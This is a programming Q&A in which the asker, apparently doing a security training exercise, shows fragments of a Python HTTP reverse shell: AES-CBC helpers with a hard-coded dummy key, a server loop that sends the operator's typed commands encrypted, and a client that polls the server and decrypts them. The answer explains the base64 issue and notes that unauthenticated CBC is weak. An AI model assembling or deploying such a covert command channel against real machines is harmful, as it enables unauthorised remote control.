pythonencryptionaesreverse-shell

Http reverse shell in python: AES and Base64


For a training I am coding a HTTP reverse shell in Python as an exercise. The training material includes a simple example of a TCP reverse shell which supports AES encryption and I wanted to apply the same to my Http shell. In the end I managed to make it work, but being a newbie when it comes to encryption and encoding I would appreciate if someone could explain what's going on.

Both server and client use the same encrypt/decrypt functions:

from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding

# dummy vector and key
AES_IV = b"E" * 16
AES_KEY = b"E" * 32

def encrypt(message):
   encryptor = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
   padded_message = Padding.pad(message, 16)
   encrypted_message = encryptor.encrypt(padded_message)
   return encrypted_message
         
def decrypt(cipher):
   decryptor = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
   decrypted_padded_message = decryptor.decrypt(cipher)
   decrypted_message = Padding.unpad(decrypted_padded_message, 16)
   return decrypted_message

The server side waits for a command to be typed, which then sends to the client after encryption through GET requests, like this:

#snippet of the http server class implemented using  BaseHTTPRequestHandler
command = input("Shell> ")
# (code sending http headers omitted for simplicity)
encrypted_command = self.encrypt(command.encode())  
self.wfile.write(encrypted_command)

On the client side, the messages from the server is retrieved using the Requests module:

req = requests.get(server, headers=HEADERS)
command = req.text  # command sent by the server
command = decrypt(command).decode()

The above code is not working because the encrypted payload sent by the server via wfile.write() gets modified during the transfer. For instance, the logs show that the encrypted version of the "dir" shell command sent by the server is:

b'\x01J\x8f\xe4\xd9qF\x1f\x8b\xea\x07Q\xe3\xbde{'

whereas the client receives:

b'\x01J\xc2\x8f\xc3\xa4\xc3\x99qF\x1f\xc2\x8b\xc3\xaa\x07Q\xc3\xa3\xc2\xbde{'

After some research, I solved the problem by adding base64 encoding, like this:

encrypted_command = self.encrypt(command.encode())
encrypted_command = base64.b64encode(encrypted_command)
self.wfile.write(encrypted_command)

with symmetric base64 decode on the client side.

The only minor issue is that the output of the command ("dir" for instance) goes back to the server with untranslated carriage returns but this is easily fixed, see below:

Volume in drive D has no label.\r\n Volume serial number: 1A09-94DC\r\n\r\n Directory of D:\MyDir\Python\Coding\r\n\r\n20/05/2022 20:15 etc.

The main dumb question for me is: why is base64 encoding needed to correctly transfer encrypted (i.e. binary) payloads via http?

Many thanks S.


Solution

  • HTTP itself can handle binary payloads just fine.

    However, HTTP GET can only be used to communicate text; instead it uses the URL to send data. There are specific rules about the values within the URL, which precludes characters / encodings such as control characters. Actually, to have error-free communication you should be using base64url encoding, a specific dialect which uses dash and underscore instead of plus, slash and equals.

    If you request a webpage through a GET request you are not really transmitting large amounts of data after all. For that you would use HTTP POST, and that's what I would suggest instead of base 64.


    Just a side note: CBC mode doesn't provide authenticated encryption, which means that any adversary can change the ciphertext, switch out blocks from a previous ciphertext etc. Worse, if you have an active server model you are also vulnerable against padding oracle and other plaintext oracle attacks. That means that in the worst case it doesn't provide any confidentiality either, basically rendering the encryption useless.

    Transport security is pretty hard to get right, which is why most people simply gravitate or get coaxed towards TLS. Of course, if you're just learning: carry on :)